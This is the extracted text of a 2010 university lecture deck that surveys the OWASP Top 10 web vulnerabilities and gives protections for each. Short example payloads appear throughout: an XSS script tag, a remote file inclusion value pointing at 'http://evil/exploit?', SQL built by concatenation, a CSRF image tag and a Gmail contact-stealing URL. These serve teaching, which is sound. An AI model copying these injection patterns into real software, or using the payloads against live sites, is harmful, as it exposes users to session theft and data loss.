OWASP Top 10: The Ten Most Critical Web Application ...pdm12/cse598i-s10/docs/cse598i-owasp07.pdf · • Open Web Application Security Project ‣ Develop tools and documentation

Systems and Internet Infrastructure Security Laboratory (SIIS) Page

CSE598i - Web 2.0 SecurityOWASP Top 10: The Ten Most

Critical Web Application Security Vulnerabilities

Thomas MoyerSpring 2010

1Tuesday, January 19, 2010


Web Applications

• What has changed with web applications?

‣ “Traditional” applications fetched new content by fetching full pages with new content

‣ AJAX applications fetch new content in the background, only receiving content that has changed

• First use of AJAX technologies (XMLHttpRequest)

‣ First supported by Internet Explorer 5.0

‣ Outlook Web Access (circa 2000)

‣ Now a standard part of any major browser



OWASP Background

• Open Web Application Security Project

‣ Develop tools and documentation for web application security

• ESAPI and WebScarab are two popular tools

• Development, Testing, and Review documents that guide developers in building, testing, and maintaining secure web application code

• One project is the Top 10 list that lists the top ten most popular web application security vulnerabilities



A1- Cross Site Scripting (XSS)

• Vulnerability: Attacker causes code to execute in the browser‣ Reflected - Input is “reflected” in the output without filtering

‣ Stored - Input is stored in files, databases, etc. and used to create pages

‣ DOM-based - Manipulates JavaScript code/variables instead of HTML elements

• Protections‣ Use strong input validation routines

‣ Encode untrusted inputs that must be reflected in the output

‣ Don’t rely on blacklisting tags



A1- Cross Site Scripting (XSS)

• Vulnerability: Attacker causes code to execute in the browser‣ Reflected - Input is “reflected” in the output without filtering

‣ Stored - Input is stored in files, databases, etc. and used to create pages

‣ DOM-based - Manipulates JavaScript code/variables instead of HTML elements

• Protections‣ Use strong input validation routines

‣ Encode untrusted inputs that must be reflected in the output

‣ Don’t rely on blacklisting tags

4

Example: echo $_POST[‘username’];where

$_POST[‘username’] = ‘<script type=”application/javascript”>alert(“XSS”);</script>’

Tuesday, January 19, 2010


MySpace Worm

• MySpace social networking site

‣ Infected your profile

‣ Added ‘samy’ as one of your friends

‣ Added ‘, but most of all samy is my hero.’ to your profile

• MySpace filters input...

‣ This was carefully crafted to evade the filters



A2 - Injection Flaws

• Vulnerability: Unfiltered user input is used by backend interpreters (SQL, LDAP, OS, etc.)

• Protections

‣ Input validation/encoding

‣ Use “safe” APIs

‣ Vague error messages



A2 - Injection Flaws

• Vulnerability: Unfiltered user input is used by backend interpreters (SQL, LDAP, OS, etc.)

• Protections

‣ Input validation/encoding

‣ Use “safe” APIs

‣ Vague error messages

6

*http://xkcd.com/327/


http://xkcd.com/327/

http://xkcd.com/327/


A3 - Malicious File Execution

• Vulnerability: Using user input to select files for execution

• Protections

‣ Use indirect object references

‣ Strong validation of input

‣ Isolate applications

‣ Use taint tracking if language supports it



A3 - Malicious File Execution

• Vulnerability: Using user input to select files for execution

• Protections

‣ Use indirect object references

‣ Strong validation of input

‣ Isolate applications

‣ Use taint tracking if language supports it

7

Example: require($_POST[‘style’] . “.php”);where

$_POST[‘style’] = “http://evil/exploit?”


http://evil/exploit?

http://evil/exploit?


A4 - Insecure Direct Object Reference

• Vulnerability: Exposing backend structure to clients, e.g. using bank account number as primary key

• Protections

‣ Use strong access control checking

‣ Use an “accept known good” approach when checking client data

‣ Avoid using direct object references when possible



A4 - Insecure Direct Object Reference

• Vulnerability: Exposing backend structure to clients, e.g. using bank account number as primary key

• Protections

‣ Use strong access control checking

‣ Use an “accept known good” approach when checking client data

‣ Avoid using direct object references when possible

8

Example: int cartID = Integer.parseInt( request.getParameter( “cartID” ) );String query = “SELECT * FROM table WHERE cartID=” + cartID;



A5 - Cross Site Request Forgery (CSRF)

• Vulnerability: Cause actions to occur on a site based solely on the fact that login credentials are submitted with all requests.

• Protections

‣ Protect against XSS

‣ Use nonces in all requests

‣ Re-authenticate for sensitive transactions

‣ Don’t use HTTP GET to process sensitive transactions



A5 - Cross Site Request Forgery (CSRF)

• Vulnerability: Cause actions to occur on a site based solely on the fact that login credentials are submitted with all requests.

• Protections

‣ Protect against XSS

‣ Use nonces in all requests

‣ Re-authenticate for sensitive transactions

‣ Don’t use HTTP GET to process sensitive transactions

9

Example: Attacker puts “<img src=‘http://www.example.com/logout.php’/>” in forum post on

another site.


http://www.example.com/logout.php





Gmail and CSRF

• Gmail relies heavily on JavaScript

• Even with protections, Google has been vulnerable to CSRF on multiple occasions

‣ Contact stealing

‣ Gmail password changing

• Change password request can be done using HTTP GET

10

http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999







Facebook Worm

• Users write on each other’s “wall”

‣ Any user can view your “wall”, i.e. not private messages

• If the user clicks a specially crafted message on the “wall”, they are sent to another site

‣ This site has a carefully crafted URL that causes this same message to be posted on the logged in user’s “wall”

‣ This carefully crafted URL is the basis of the CSRF attack



A6 - Information Leakage and Improper Error Handling

• Vulnerability: Application reveals details about internal configuration via error messages.

• Protections

‣ Disable error reporting on production system

‣ Consistent exception handling

‣ If error reporting is required, ensure that it is consistent and has no backend details



WordPress SQL Information

• WordPress is a blog application that allows users to create a blog site with ease

‣ URL used:

‣ Errors generated by WordPress:

‣ End user sees this error in the browser

• Can now see what table names are and the structure of the SQL query (leading to potential SQL injection attacks)

13

WordPress database error: [Erreur de syntaxe pr?s de '-20, 10' ? la ligne 1]

SELECT DISTINCT * FROM wp_posts WHERE 1=1 AND post_date_gmt <= '2006-06-29 12:46:59' AND (post_status = "publish") AND post_status != "attachment" GROUP BY wp_posts.ID ORDER BY post_date DESC LIMIT -20, 10

http:/ / localhost/ wordpress/ index.php?paged=-1

Invalid Argument


http://localhost/wordpress/index.php?paged=-1

http://localhost/wordpress/index.php?paged=-1


A7 - Broken Authentication and Session Management

• Vulnerability: Broken authentication allows attackers to steal credentials or tokens

• Protections

‣ Don’t “roll your own” session management

‣ Don’t rely on spoofable information to ID users

‣ Don’t rely heavily on custom cookies

‣ Use SSL to protect authenticated portions of system



A8 - Insecure Cryptographic Storage

• Vulnerability: Using no encryption, weak encryption, or home-grown encryption, or using hard-coded keys

• Protections

‣ Use strong, vetted cryptographic algorithms

‣ Protect private keys

‣ Protect backend storage, such as DB (i.e. no direct client access to backend storage systems)



A9 - Insecure Communications

• Vulnerability: Sending sensitive information in the clear

• Protections

‣ Enable SSL between client and server

‣ Enable SSL between server and other backend systems

‣ Isolate backend systems from public network (if possible)



Gmail to use SSL

• Gmail recently announced a switch to SSL by deafult

‣ Before, only users surfing to https://www.google.com/mail

‣ Originally, SSL was only used for login

• Attacker can steal session identifiers and access Gmail account by providing the right cookies

‣ Persisted until the user logged out


https://www.google.com/mail

https://www.google.com/mail


A10 - Failure to Restrict URL Access

• Vulnerability: Attacker guesses URLs that lead to functionality they are not authorized to access

• Protections

‣ Strong access control mechanism/policy

‣ Assume user is able to guess all URLs, i.e. don’t rely on “security through obscurity”

‣ Filter requests for files that your system shouldn’t serve



Lessons

• User input is inherently untrusted

‣ Input validation/filtering is hugely important

• It takes nothing more than a browser to attack a web application

‣ Browsers are installed on just about every computer

• Worry about both the client and the server

• More code is available to the attacker than in traditional web applications


Documents

OWASP Top 10: The Ten Most Critical Web Application ...pdm12/cse598i-s10/docs/cse598i-owasp07.pdf · • Open Web Application Security Project ‣ Develop tools and documentation